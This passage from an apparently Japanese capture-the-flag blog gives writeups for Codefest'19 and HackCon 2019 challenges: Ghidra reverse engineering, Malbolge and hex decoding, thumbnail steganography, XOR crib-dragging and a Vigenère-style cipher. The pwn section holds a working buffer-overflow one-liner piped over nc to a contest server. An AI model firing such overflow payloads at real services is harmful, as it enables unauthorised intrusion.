□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□■□□□□□□□□□□□■□□□□□□□□□□□□□□□□□□□

フラグのASCIIアートのような感じになった。

CodefestCTF{This_15_7h3_f14g}

Linux RE 2 (Max Score: 500)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  size_t sVar1;
  long in_FS_OFFSET;
  char local_78;
  char local_77;
  char local_76;
  char local_75;
  char local_74;
  char local_73;
  char local_72;
  char local_71;
  char local_70;
  char local_6f;
  byte local_6e;
  char local_6d;
  byte local_6c;
  char local_6b;
  byte local_6a;
  char local_69;
  char local_68;
  byte local_67;
  char local_66;
  byte local_65;
  char local_64;
  byte local_63;
  char local_62;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __isoc99_scanf(&DAT_00400a88,&local_78);
  sVar1 = strlen(&local_78);
  if (sVar1 == 0x17) {
    if (local_74 == 'l') {
      if ((int)local_75 + 1 == (int)local_72) {
        if ((int)local_73 + 1 == (int)local_71) {
          if (local_71 == 'e') {
            if (local_75 == 'u') {
              if (local_76 == 'o') {
                if (local_78 == 's') {
                  if (local_77 == 'h') {
                    if (local_70 == '_') {
                      if ((int)(char)local_6c + 1 == (int)local_6d) {
                        if ((int)(char)local_6e + 2 == (int)local_6f) {
                          if ((local_6c ^ local_6e) == 0x17) {
                            if (local_6c == 100) {
                              if (local_6b == '_') {
                                if ((int)(char)local_67 + 8 == (int)local_68) {
                                  if ((int)local_69 + -2 == (int)local_68) {
                                    if ((local_67 ^ local_6a) == 0x16) {
                                      if (local_68 == 'm') {
                                        if (local_66 == '_') {
                                          if ((int)local_62 + 3 == (int)local_64) {
                                            if ((int)local_64 + 0x10 == (int)(char)local_63 + 0x10)
                                            {
                                              if ((local_65 ^ local_63) == 0x1b) {
                                                if (local_62 == 'l') {
                                                  puts("Congratulations! Correct password!");
                                                }
                                                else {
                                                  puts("Sorry! Wrong password!");
                                                }
                                              }
                                              else {
                                                puts("Sorry! Wrong password!");
                                              }
                                            }
                                            else {
                                              puts("Sorry! Wrong password!");
                                            }
                                          }
                                          else {
                                            puts("Sorry! Wrong password!");
                                          }
                                        }
                                        else {
                                          puts("Sorry! Wrong password!");
                                        }
                                      }
                                      else {
                                        puts("Sorry! Wrong password!");
                                      }
                                    }
                                    else {
                                      puts("Sorry! Wrong password!");
                                    }
                                  }
                                  else {
                                    puts("Sorry! Wrong password!");
                                  }
                                }
                                else {
                                  puts("Sorry! Wrong password!");
                                }
                              }
                              else {
                                puts("Sorry! Wrong password!");
                              }
                            }
                            else {
                              puts("Sorry! Wrong password!");
                            }
                          }
                          else {
                            puts("Sorry! Wrong password!");
                          }
                        }
                        else {
                          puts("Sorry! Wrong password!");
                        }
                      }
                      else {
                        puts("Sorry! Wrong password!");
                      }
                    }
                    else {
                      puts("Sorry! Wrong password!");
                    }
                  }
                  else {
                    puts("Sorry! Wrong password!");
                  }
                }
                else {
                  puts("Sorry! Wrong password!");
                }
              }
              else {
                puts("Sorry! Wrong password!");
              }
            }
            else {
              puts("Sorry! Wrong password!");
            }
          }
          else {
            puts("Sorry! Wrong password!");
          }
        }
        else {
          puts("Sorry! Wrong password!");
        }
      }
      else {
        puts("Sorry! Wrong password!");
      }
    }
    else {
      puts("Sorry! Wrong password!");
    }
  }
  else {
    puts("Sorry! Wrong password!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;

ここから整理しながら条件を見ていく。

長さ0x17 = 23
local_75 + 1 == (int)local_72
(int)local_73 + 1 == (int)local_71
(int)(char)local_6c + 1 == (int)local_6d
(int)(char)local_6e + 2 == (int)local_6f
(local_6c ^ local_6e) == 0x17
(int)(char)local_67 + 8 == (int)local_68
(int)local_69 + -2 == (int)local_68
(local_67 ^ local_6a) == 0x16
(int)local_62 + 3 == (int)local_64
int)local_64 + 0x10 == (int)(char)local_63 + 0x10
(local_65 ^ local_63) == 0x1b

local_62 = 'l'
local_63 = 'o'
local_64 = 'o'
local_65 = 't'
local_66 = '_'
local_67 = 'e'
local_68 = 'm'
local_69 = 'o'
local_6a = 's'
local_6b = '_'
local_6c = 'd'
local_6d = 'e'
local_6e = 's'
local_6f = 'u'
local_70 = '_'
local_71 = 'e'
local_72 = 'v'
local_73 = 'd'
local_74 = 'l'
local_75 = 'u'
local_76 = 'o'
local_77 = 'h'
local_78 = 's'

あとは下から並べると、フラグになる。

CodefestCTF{shouldve_used_some_tool}

Feedback - Codefest'19 (Max Score: 100)

アンケートに答えたら、フラグが表示された。

CodefestCTF{Th4nk3_f0r_pl4ying}

HackCon 2019 Writeup

この大会は2019/8/23 4:45(JST)~2019/8/23 22:00(JST)に開催されました。
今回もチームで参戦。結果は1083点で505チーム中78位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (Misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

d4rk{w3lc0m3_its_d4rk_h3r3}c0de

Weird Text (Misc)

Brainf*ck言語。https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで実行する。

D'`$@"][[ZX{Wx0/S-t1O`on&m*6jF3ge{SRQ`_u)9xqYun43kpihg-,jihgfH%c\aZ~}|VUZYXQVOsSRQPOHGkK-,BGF?cba`#"8=<;:3W705.RQ1qp.-&J*j('&}C{"!x}|u;yxqYun432jonmf,jihgfH%c\aZ~}|?UZSRvPONMRQPImMFEDIBfed'=BA@?>7[;{32V65.3,PONon,+*#"!EfeBzyx}v<;:9wponsrk1RQmlejc)('_d]b[!BXWV[ZSwWVONSLKonmMLK-IBf)dD&BA:98\[Z:3y76/St,+Op('KJI)"!~Ded"y~}|u;yxqYun432pongfed*hgfH%c\aZ~}|\[Z<Rv9ONSRQJImMFEDIBfed>&<A@?>7[;{32V65.3,PON.nm%$)"F&feBzyx}v<;:9wponsrk1RQmlejc)('eG]\[Z~X]\[ZYRvPUNSLpoONGFjJIBA@E>b%A@?87[5492VUTSt,+Op('KJI)"!~Ded"y~}|u;yxqYun432jonmf,jihgfH%c\aZ~}|{[TSRWVOsS54JOHlk.JIHAeEDCB;@?8\6|:32V05.R21q/('K%$#"FEfeBz!xw|uzs9wpotsrqj0Qgfe+chg`_^$bDZ_^]VzZYRWVUNrRQ3IHGLEiI+AF?cb%A@?87[|49876/.R2+*/(L,+*j(!~D$dc!x}vu;sxwpun4Ukj0nmf,diha'_dcb[!BXWV[ZSwW9OTSLKPImMLK-IBf@(>=BA@9]=<5:32V65.3,Pqp.-&J*#(!~D|#"yx>|^]yxq7Xnsrkjoh.fNdcha'&%$bDZ_^]VzZYRWVUNrqpJOHlLEJCg*@?DC<`_^>=<5:32V65.3,P*p.-&JI#('~D$#"!x>_{tyr8YXtmrk10/.fN+Lhg`_d]#"!_^WVUZSwQPUNMLp3INGFEihg*)ED=aA#"8=<;:3W705.RQP*/(-&J$)"'~Ded"y~}v<;:xq7Xnsrkjoh.fNdcha'&%]baZ~X]V[ZSwWVUNSRQPImlkKDIHG@?c=aA:?>7[ZYX8765.3,P*p.-&JIH(!&}C#c!x}|u;yxqYun432pongfed*hgfH%c\aZ~}|{[TSRWVOsS54JOHlkjDIBGFE>b%A@?87[5492VUT.-,P0)o'&J*j('&}CBA@a}v{zyr8YXtmrk10Qg-kd*hgfH%c\aZ~A]V[TSXWPtT6LKJImlLE-IBAeED=%;_?>=}|:3W165.-Qr*Non&%I#"F~}$#z@~`_{ts98vXnsrkjoh.fNdcha'&%$bDZ_^]VzZYRWVUNr54POHGFj-,BGF?cb%A@?87[5492V0/.R2+0)('KJ*)"!E%|#"y?`vut:xqYun43qponmfN+Lhg`_d]#"!~^]\UTYRvPUNSLpJONMLEiI+AF?cb%A@?87[5492V0/.R2+0)('KJ*)"!E}|{A!~}_uzs9qYun43qponmfN+Lhg`_d]#aZYX|V[ZSRWPtsMRQPIHGkK-,BGF?cba`#"8=<;:3W705.R,10/.-&J*j('&}CBcb~w|u;yxqYun4321onmfN+Lhg`_d]#"!~^]\UTYRvPUNSLpJIHMLEDhBGFE>C<;_^>=6;4X276/S32+*N.nm%IH('&feBz!x}vu;yxqYun432ponmfN+c)gfHdc\"Z_XW\UySXQPt7SRQPOHGkK-IHGF?>bB;#?>=<5Yzy765432+*N.-&%Ij"'&}C#c!xw|ut:[wvun4Ukjong-eMib(fH%cba`_X|V[ZYXQVOsSRQPONGk.JCHGF?>b%A@?87[;:9876/S3,+*)(L,+$#G'&%$d"y?}v{tyr8vuWVrkjongf,jihgfeG]#[`_X|\[ZYX:Pt7SRQPOHGkKJIHG@d>=<A:98\<54X87w5.-210/(L,+$j"'~D${"!x>|{]sxwpo5Vrkjongf,diba`edc\"CB^W\Uy<;WPUTSRQJn1MLEDhg*)E>b%A@?87[;4X81w/.32+O)o-,%$H"!&}C#c!x}|u;yrwvo5mlqponmf,jibg`e^$baZ~X]V[ZSwWVUNSRQPImlkKDIBf)dD=B;:^!~<;4X87wv432+*N.'m%$)(!EfeB"!~}_u;yxwvo5Vrkjongf,Mchgf_^$bDZ_^]VzZYXWVOsSRQJnHGFjJIBA@E>b%A@?87[;:3W1UT43210/.'K%$#G!&%|BA@x}v{zyr8vXnsrkjoh.leMihg`&d]baZYX|V[TSRQVONrLKPOHMFjDIHAe(>=<`#">765Y9270T.-,P0)o'&J$#G!~D|#"!x>|{ts9Zvutsrkpi/mfNjibg`_^$b[Z~^@?UZSRvV87MqQ32NMLEDh+*FE>=<`@">76;4X816/.-Q+0/.',%I)"!E%$#z@~`_{ts9qvon4Uqpingf,jihgfH%c\"`_^]\[TSwQPUNMqQJnH0LKJIBAe(DC<;:9]~};:9870T4t2+*Non&+$H(!&}C{Ayxw|uzs98votsrk1onmfN+ihaf_^$ED`Y^WVz=<XWPOsS54JImMFKJIHAe(DC<;_^]7<;:981U5.3,P0).'&J*)"!~}C{"!xw|ut:[qvon4Ukpi/gled*Ka`edc\"`_^@?UZSRvPt7SRQPOHGkEDIHG@d>C<;:9]=6Z49876/.R210)o'&J*)i!~D|#"yx>vuzyrwpun4Uqpihg-kjihgfH%c\"`B^W{UTSRQVONrLKJOHlLE-IBAeEDCBA#"8\<5:32V65.R21*p.-&J$)"'~D|#"!x>|uts9wpotsrqj0hmlkjihgfe^]#DZ_^]VzZYXWVOsSRQJnHMFj-IHG@d'=BA:?87[;4z8765432+*Non&+$H"'&}|{"y?w|uzs9Zvutsrkpi/mleMihg`&d]\aZ_X|\[TYXQuUTSR43ImM/KJIBAe(>=BA@987[|:9876/.3,P*Non&+$)"F&}C{"yx}v<;:[Zvotm3qponmfN+chg`_^$b[Z~^]V[ZYRvPUTSLpJINGFjJIHG@dD&BA:^87<5Y987w/43,P0)o'&J*j('&}CBA!x}|u;y[wpun4Ukjong-NMcba'eGcba`_X|\[ZYXQPUNMqQPIHGkEDIHG@d>C<;@987[549270Tu-2+O)o'&J$#G'~}${A!x>|{ts9Zvutsrkpi/gOejc)gIed]b[`Y}@?UZSRvVOTSLpPIHGkKJIHG@d>&<;@9]=6|:3W70/.R210)o'&J*)('&}Cd"!x>_uzyxwp6WVlkjongf,jihgfH%c\"Z_XW{[ZYXQuOTSLpPIHGkKJIHG@d>=<A:98\<54X81w/.32+O)o'&J*j(!E}${A@?}_uzyxqpo5srqSi/glkjiha'eGcba`_X|\[ZYX:Pt7SRQPOHGkKJIHG@dD&BA:^87<54X81w543,P0)o'&J$#G!~D$#cy?`_{ts9wponsrk1ihglkjiba'_dcbaZY}@?UZSRvV87SLKo2NGFjDCHG@dD=BA:9]=6;:981U5.R210/.-&J*)"!E%$d"y?}_uzsr8putsl2ponmfN+ihaf_^$E[!_^@?UZSRv98TSLKo2NGFjJIHG@dDC%;:?8\};:921U54321*p(L&+*)"'~D${A!x}|u;yrwpun4rkjong-e+ihaf_^$\a`_XW{UTYXQPtTMLKo2NGFjJIHAF?c=BA@?>=<5Y9276/SR210)o'&J*j('&}C{"y?}_u;yxwvo5srqpohg-e+ihgIed]#[Z_^W{[TYXWVOsMRQPIHGkKJIHG@d>=<;:?8\6|:3W165.-Q10)o'&J*)(!~D$d"y?`vutyxwp6WVlkjongf,jihgfH%c\"Z_X|VUZSRvV87MqQ32NMLEDh+*FE>=<`#">=65Y9270543,P0p(L&+*)"'~D|#"!x>|uts9wpotsrqj0Qglkd*hgfH%cba`_X|VUZSRvuU76LKo2NGFjJIHG@d>=<;:?8\}|49870/.R2+0)('K%*)(!E}|{A@?w|{zyr8vXnsrkjoh.leMihg`&dFEa`_X|\[ZYXQ9UNSRKoO10FKDh+GFE>CB;_?>=6|:3W765.-Q10/(L,l$#(!EfeB"y?}_u;yrqpon4lTjohg-kdcha'edc\"ZB^]\[TxXQ9UNSRKonH0LKJIBAe(DC<;_?8=<;432Vw54-,PO)o'&J*j('&}C{"y?}|ut:rqvo5mlqpohg-ed*)gfed]\"ZY^]\Uy<XWPUTMqK3INMLEihgGFE>=BA@?8\6|:32V6v.-,P*p(L&+*#GF&feBzyx}v<]yxwpun4lTjohg-Njchgf_^$bDZ_^]VzZYRWVUNrqKJOHMFjJI+Ae?>CBA:?87[;{z276543,PON('&%$H('&feB"y~}v{zyr8ponsrqj0hmf,+ihgfH%c\aZ~^]V[ZYRvPUTSRQJn10FKDh+GFE>CB;_?>=6|:3W76v.3,P0).'&J*j('&}C{"!x}|u;s9qvon4rkpingf,Mcba'eGc\[!_X|V[TSXWPOsS54JImMFKJCgA@ED=B;_9>=<5YX8765.R210/.'K+*)"!E%$#z@aw|{tyr8potml2johmled*hgfH%cba`_X|V[TSXWPOsS54JIm0/KJIHAF?cCBA@?>=6;4X876/S321*p(L,+*#i'&}C#"!x>v{t:rwvo5srqSi/mfNdc)gIed]b[`Y}@VUySXWPtsSLQJn10LEJCgA@ED=B;_?>=6;:981Uvu-2+O)o'&%I#G'&feBzb~w|{t:xqpun4lqponmf,+ihgfH%c\"!Y^]\UZSRv9UNSRKo2NGFjJIHG@dD=<A@?8\654981U54321*p(L&+*)"'~D${A!x}v<zs9wvunVl2ponmfN+ihgIed]#[`_^]Vz=YRWVUNMqpPIHGkKDIHG@?cCBA:"8\<;4381UT.32+*)Mnm%$#(!~}C#cy?}|u]s9wvo5mlqpohg-kjibg`_^$\[ZY}@?UZSRvVOTSLpPIHGkKJIHG@d>&<;@9]=}|:9876/.R,+O)o'&J*)('&}Cd"!x>|u]yxwpo5srkjoh.fN+ihaf_^$baZ_^]\Uyx;:VUTSLKo2NGFjDCHG@d>C<;:9]~6;4381UT.32+*)M-,+*#i'&}C#"!x>|{ts9qYun4Ukpi/gle+cba'_^]b[!Y}@VUyYRQVOs6RQJINGk.DCHAFE>C<`@9!=<5Y9216543,P0)o-&J*#(!~D${"yx>|u]s9Zvutsrkpi/mleMihg`&^cb[Z~^@?UZYXWPtTSLQJnH0LKJIBAe(DC<;_^]7<;:981U5.3,P*p.-&JIHG'&feBzyx}v<zyrwvo5srqSi/mleMib(fH%c\aZ~}|\[TYRv9ONSRQJImMFEDIBfed>bBA:^>=6|:3W70/.R210/.'K+$)(!EfeB"y?}v{zyr8vunmlqj0hPfkdc)gfH%]\a`_XW{[ZYX:Pt7SRQPOHGFjJ,HG@d'=BA:?87[;4z8765432+*N.'&+$H('~%${A!~}_u;yxqpo5mrk1Rhmlkjihgfe^]#DZ_^]VUyYRQVUNMqQPIHGkKJIHG@d>=<A:98\<54X87w5.-210/(L,+$j"'~Dedzy?>v{zsr8Yun4Ukpi/glkdc)('_d]#DZ_^]VzZYXWVOsMLKoIHMFEJIBfFE'=<A@?8\6|:32V0T.321*N.'&%*)(!Efe#"y?}|utyr8vonm3kpoh.leMihg`&d]baZY}@VUyYRQVOsS5KJIHl/EJIHAe?D=BA@9]=<;4X870T4321*p(L&%$H('&}C#c!x}|u;yxqYun4UTjih.fNdcha'&dFb[`Y}@?UZSRWPt76LKonNG/EiC+G@EDCB;_9>=<5:32VUT4t,10).'K%$#G'~}${"y?w_{ts9wpun4lTjohmlkjib(fH%c\"`_^]\[TSwQPUNMqQJnH0LKJIBAeEDCBA#"8\6;:9876/.R210/.'K+*)"F~}C#"y?wv{t:rwvunsl2ponPle+ihgfH%cba`_X|VUZYRvP8TSRQJONMLEiCBA@?c=aA:?>7[5{321Uvu-2+ONon&%I#"F&%${"y?w|ut:rqpon4Ukpi/gOejc)gIe^]#[Z~^]\[=<XWPt7SRQPOHGkKJIHG@d>=BA:9]=<54Xy76/St,+O)o'&%I)i!&}${A!~}_u;sxwputml2ponmfN+chg`_^$b[Z~^]V[ZSwWVOTSLp3ONMLEDhH*)ED=a$:^>=6|:3W765.-Q10)o'&J*)('&}C{cy?}_uzsr8vunVrk1onmfN+ihaf_^$\aZYX|VUZSXQVOsS5QPIHGkE-IBAe(>=<`#">=65Y38765.-Q10)o'&%I)('&}C#"y?}v{zyr8vunmlqj0hPfkdc)gfH%]\"ZYX|\UTYXQPUNMq43IHGkE-IBAe(DC<;:9]765Y9870/.R2+*Non&%I#"FED${"y?w|{zyr8vonm3kSinmlkdib(fHdc\"`_^W{[TSRWVOsSRQPOHGFjJIH*)E>b<;@?8=6Z:3y76/St,+Op('K+*j(!~Ded"y~}v<;sr8YXtmrk1oQglkd*Ka`e^]#D`_X|VUZSwWVOs6RQJIHl/KDCHAFE>C<`#"8=6Z:98765.3,P0/.-&J*j(!Efe#z@~}v<]\xwpun4rkSonmlkdihg`&d]\[Z~^@?UZSRvPt7SRQPOHGkKJIHG@d>C<;:9]=6|:3Wx0/43,P0)o'&J$#G'&fe#z@~}v<zyxqpun4Ukpi/gled*bJ`_^$bDZ_^]VUyYX:Pt7SRQPOHGkKJIHG@d>CBA@?8\}|:9876/.R2rq/(L,+$j"'~Ded"y~}v<]sxqp6tml21onmfN+Lhg`_d]#a`Y^]Vz=SXWPONMqQJIHGLEiC+G@EDCB;_?>=6|:3W76v.3,P0)o'&%Ij('&%${Ab~w|u;yxwvunVl2pohmle+chg`&dc\[!BXWV[ZSwWVONSLKonmMFKJCgGF?DCB;_?>=}|:9876/S-2+0)(L,%$#G'&%edz@a}v{zyr8vunml2ponmlkdcba'eGcb[Z~^]\Uy<XWPUTMqK3INMLEihg*)E>b%A@?87[;{921U/u3,+*Non&%*)(!E%|{Ab~w|u;yxqYonmrqj0ngled*bg`&dFEa`_X|\>=YXWPOs65KPIHGFjJIHAe?>bBA@"!7[;{32V65.3,P0)o'&%I)"FEfeBzyx}v<zyrwvo54rkji/mfN+Lhg`_d]#"!_XW\[ZYRv9ONSRQJIm0/KJIHAF?c=<;:?>=<;4X270TSt,+Op('K+*#i'&}C#"!xwv<]yxwpunsl2ponmfN+Lhg`_d]#"Z_X|V[TYRv9ONSRQJImMFEDIBfed'CBA@?>=<5Y9216543,Pqp.-&J$)"!~}C{"yx}v<;sr8vunm3qpong-edcbaf_%$bDZ_^]VzZYRWVUNrRQP2HGFjJIBGFE>b%;@?8\6|:32V05.RQP0/(-&+$H('&feB"y~}v{zyr8potml2pohmf,+ihgfH%c\aZ~^@?UZYRv98TSLKo21GLEiCHGFED=a$:?>7[ZY9876v43,P0)o'&J*j('&}CBA!~}|^]s9Zvutsrkpi/gOejc)(`H^]b[!~^]\UTYRvPUTSLpJINGkK-,BGF?cb%A@?87[5492VUTSt,+O/.n,+*)"F&%${cy?}|{zs[q7utVrkji/mfN+Lbgfe^]#aC_X|\[Z<RWVOTSLpPO10FEJCg*@E>=B;_L

Malbolge言語っぽい。http://www.malbolge.doleczek.pl/で実行する。

0011 0002 0000 0010 0001 000f 0001 0004 0000 000e 000c 000d 000b 0006 000a 0003 0009 0000 0004 0012 0000 000b 0001 0000 00b1 0500 b62b 0400 b24c 0312 4c02 120e 0000 0002 0002 0032 0000 000a 0002 000d 000c 0009 0005 0000 0001 0006 0000 000b 0001 0000 00b1 0100 b72a 0500 0000 0100 0100 1d00 0000 0a00 0100 0900 0800 0000 0200 0000 0000 0700 0600 2000 5629 3b67 6e69 7274 532f 676e 616c 2f61 7661 6a4c 2815 0001 6e6c 746e 6972 7007 0001 6d61 6572 7453 746e 6972 502f 6f69 2f61 7661 6a13 0001 3b6d 6165 7274 5374 6e69 7250 2f6f 692f 6176 616a 4c15 0001 7475 6f03 0001 6d65 7473 7953 2f67 6e61 6c2f 6176 616a 1000 016e 6f69 7470 6563 7845 2f67 6e61 6c2f 6176 616a 1300 0174 6365 6a62 4f2f 676e 616c 2f61 7661 6a10 0001 6e65 675f 6761 6c66 0800 0121 0020 000c 1f00 071e 001d 000c 1c00 0765 6430 637d 7435 3362 5f35 7431 5f74 405f 3362 4062 5f33 6640 635f 6874 3177 5f33 6741 7567 6e41 6c5f 6331 7233 7430 3565 7b6b 7234 6436 0001 0000 0109 0008 000c 6176 616a 2e6e 6567 5f67 616c 660d 0001 656c 6946 6563 7275 6f53 0a00 011b 0007 736e 6f69 7470 6563 7845 0a00 0156 293b 676e 6972 7453 2f67 6e61 6c2f 6176 616a 4c5b 2816 0001 6e69 616d 0400 0165 6c62 6154 7265 626d 754e 656e 694c 0f00 0165 646f 4304 0001 5629 2803 0001 3e74 696e 693c 0600 011a 0007 1900 0718 0017 000a 1600 1500 0914 0008 1300 0812 0007 000a 2200 3700 0000 beba feca

hexデコードすると、フラグが逆順で含まれていることが分かるので、逆順にする。

enc = '0011 0002 0000 0010 0001 000f 0001 0004 0000 000e 000c 000d 000b 0006 000a 0003 0009 0000 0004 0012 0000 000b 0001 0000 00b1 0500 b62b 0400 b24c 0312 4c02 120e 0000 0002 0002 0032 0000 000a 0002 000d 000c 0009 0005 0000 0001 0006 0000 000b 0001 0000 00b1 0100 b72a 0500 0000 0100 0100 1d00 0000 0a00 0100 0900 0800 0000 0200 0000 0000 0700 0600 2000 5629 3b67 6e69 7274 532f 676e 616c 2f61 7661 6a4c 2815 0001 6e6c 746e 6972 7007 0001 6d61 6572 7453 746e 6972 502f 6f69 2f61 7661 6a13 0001 3b6d 6165 7274 5374 6e69 7250 2f6f 692f 6176 616a 4c15 0001 7475 6f03 0001 6d65 7473 7953 2f67 6e61 6c2f 6176 616a 1000 016e 6f69 7470 6563 7845 2f67 6e61 6c2f 6176 616a 1300 0174 6365 6a62 4f2f 676e 616c 2f61 7661 6a10 0001 6e65 675f 6761 6c66 0800 0121 0020 000c 1f00 071e 001d 000c 1c00 0765 6430 637d 7435 3362 5f35 7431 5f74 405f 3362 4062 5f33 6640 635f 6874 3177 5f33 6741 7567 6e41 6c5f 6331 7233 7430 3565 7b6b 7234 6436 0001 0000 0109 0008 000c 6176 616a 2e6e 6567 5f67 616c 660d 0001 656c 6946 6563 7275 6f53 0a00 011b 0007 736e 6f69 7470 6563 7845 0a00 0156 293b 676e 6972 7453 2f67 6e61 6c2f 6176 616a 4c5b 2816 0001 6e69 616d 0400 0165 6c62 6154 7265 626d 754e 656e 694c 0f00 0165 646f 4304 0001 5629 2803 0001 3e74 696e 693c 0600 011a 0007 1900 0718 0017 000a 1600 1500 0914 0008 1300 0812 0007 000a 2200 3700 0000 beba feca'

enc = enc.replace(' ', '').decode('hex')
print enc
dec = enc[::-1]
print dec

実行結果は以下の通り。

             
                  ア カ+ イLL     2
                   ア キ*     
                  V);gnirtS/gnal/avajL( nltnirp maertStnirP/oi/avaj ;maertStnirP/oi/avajL tuo metsyS/gnal/avaj noitpecxE/gnal/avaj tcejbO/gnal/avaj neg_gal !       ed0c}t53b_5t1_t@_3b@b_3f@c_ht1w_3gAugnAl_c1r3t05e{k eliFecruoS    avaj.neg_galf
  snoitpecxE
 V);gnirtS/gnal/avajL[( niam elbaTrebmuNeniL edoC V)( >tini<    
      
" 7   セコハ
ハコセ   7 "
         
     <init> ()V Code LineNumberTable main ([Ljava/lang/String;)V
Exceptions 
flag_gen.java     6d4rk{e50t3r1c_lAnguAg3_w1th_c@f3_b@b3_@t_1t5_b35t}c0de       !flag_gen java/lang/Object java/lang/Exception java/lang/System out Ljava/io/PrintStream; java/io/PrintStream println (Ljava/lang/String;)V                    
       *キ ア                   
   2     LLイ +カ ア                   
             
d4rk{e50t3r1c_lAnguAg3_w1th_c@f3_b@b3_@t_1t5_b35t}c0de

Small icon much wow (Stego)

jpgファイルが添付されている。

$ exiftool stego.jpg ExifTool Version Number         : 10.10
File Name                       : stego.jpg
Directory                       : .
File Size                       : 47 kB
File Modification Date/Time     : 2019:08:23 05:57:16+09:00
File Access Date/Time           : 2019:08:23 06:52:19+09:00
File Inode Change Date/Time     : 2019:08:23 05:57:16+09:00
File Permissions                : rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : None
Y Cb Cr Positioning             : Centered
Compression                     : JPEG (old-style)
Thumbnail Offset                : 202
Thumbnail Length                : 13391
Comment                         : Compressed by jpeg-recompress
Image Width                     : 1116
Image Height                    : 102
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1116x102
Megapixels                      : 0.114
Thumbnail Image                 : (Binary data 13391 bytes, use -b option to extract)

サムネイルを抽出する。

$ exiftool -b stego.jpg > thumbnail.jpg

ヘッダにごみが入っているので、取り除くと、QRコードの画像データになった。
f:id:satou-y:20190828062759j:plain
QRコードを読み取ると、フラグだった。

d4rk{flAg_h1dd3n_1n_th3_thumbnail}c0de

baby b0f (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined8 local_16;
  undefined2 local_e;
  int local_c;
  
  alarm(0x1e);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  local_c = -0x35014542;
  local_16 = 0;
  local_e = 0;
  fgets((char *)&local_16,0x100,stdin);
  if (local_c == -0x21524111) {
    system("cat ./flag.txt");
  }
  else {
    puts("Try Again");
  }
  return 0;
}

BOFでlocal_cを-0x21524111(=0xdeadbeef)にすればよい。

$ python -c 'print "A"*10+"\xef\xbe\xad\xde"' | nc 68.183.158.95 8989
d4rk{W3lc0me_t0_th3_w0rld_0f_pwn}c0de
d4rk{W3lc0me_t0_th3_w0rld_0f_pwn}c0de

OTP (Crypto)

同じ鍵のXOR暗号メッセージがあり、両方とも"meme"が含まれている。https://github.com/SpiderLabs/cribdragを使って推測していく。

$ python -c "print '\x05F\x17\x12\x14\x18\x01\x0c\x0b4'.encode('hex')"
054617121418010c0b34
$ python -c "print '>\x1f\x00\x14\n\x08\x07Q\n\x0e'.encode('hex')"
3e1f00140a0807510a0e
$ python xorstrings.py 054617121418010c0b34 3e1f00140a0807510a0e
3b5917061e10065d013a
$ python cribdrag.py 3b5917061e10065d013a
Your message is currently:
0	__________
Your key is currently:
0	__________
Please enter your crib: meme
0: "V<zc"
1: "4rk{"
*** 2: "zcsu"
3: "k{}c"
*** 4: "suk8"
5: "}c0d"
6: "k8l_"
Enter the correct position, 'none' for no match, or 'end' to quit: 1
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0	_4rk{_____
Your key is currently:
0	_meme_____
Please enter your crib: meme
0: "V<zc"
1: "4rk{"
*** 2: "zcsu"
3: "k{}c"
*** 4: "suk8"
5: "}c0d"
6: "k8l_"
Enter the correct position, 'none' for no match, or 'end' to quit: 5
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	_4rk{meme_
Your key is currently:
0	_meme}c0d_
Please enter your crib: d4rk
0: "_mem"
1: "=#tu"
2: "s2l{"
3: "b*bm"
4: "z$t6"
5: "t2/j"
*** 6: "bisQ"
Enter the correct position, 'none' for no match, or 'end' to quit: 0
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	d4rk{meme_
Your key is currently:
0	_meme}c0d_
Please enter your crib: c0de
*** 0: "Xisc"
1: ":'b{"
*** 2: "t6zu"
*** 3: "e.tc"
4: "} b8"
*** 5: "s69d"
6: "eme_"
Enter the correct position, 'none' for no match, or 'end' to quit: 6
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0	d4rk{meme_
Your key is currently:
0	_meme}c0de
d4rk{meme__meme}c0de

Noki (Crypto)

Vegenere暗号で、鍵長は暗号文の長さと同じ。平文がフラグの形式になるよう、わかる範囲で鍵を割り出す。

暗号:g4iu{ocs_oaeiiamqqi_qk_moam!}e0gi
平文:d4rk{                       }c0de
鍵 :d rk{                       }c de

同じ文字が鍵になっていると推測できる。1文字につき、2パターン復号結果があるが、全パターンを割り出してみる。

import string

def decrypt_char(c):
    index = string.lowercase.index(c)
    index /= 2
    return str([string.lowercase[index], string.lowercase[index + 13]])

enc = 'g4iu{ocs_oaeiiamqqi_qk_moam!}e0gi'

flag = ''
for c in enc:
    if c in string.lowercase:
        flag += decrypt_char(c)
    else:
        flag += c

print flag

実行結果は以下の通り。

['d', 'q']4['e', 'r']['k', 'x']{['h', 'u']['b', 'o']['j', 'w']_['h', 'u']['a', 'n']['c', 'p']['e', 'r']['e', 'r']['a', 'n']['g', 't']['i', 'v']['i', 'v']['e', 'r']_['i', 'v']['f', 's']_['g', 't']['h', 'u']['a', 'n']['g', 't']!}['c', 'p']0['d', 'q']['e', 'r']

フラグの形式で、意味が通るよう選択していく。

d4rk{how_uncreative_is_that!}c0de

Ez Pz (Crypto)

$ nc 68.183.158.95 7777
Welcome to your local encryption decryption service John
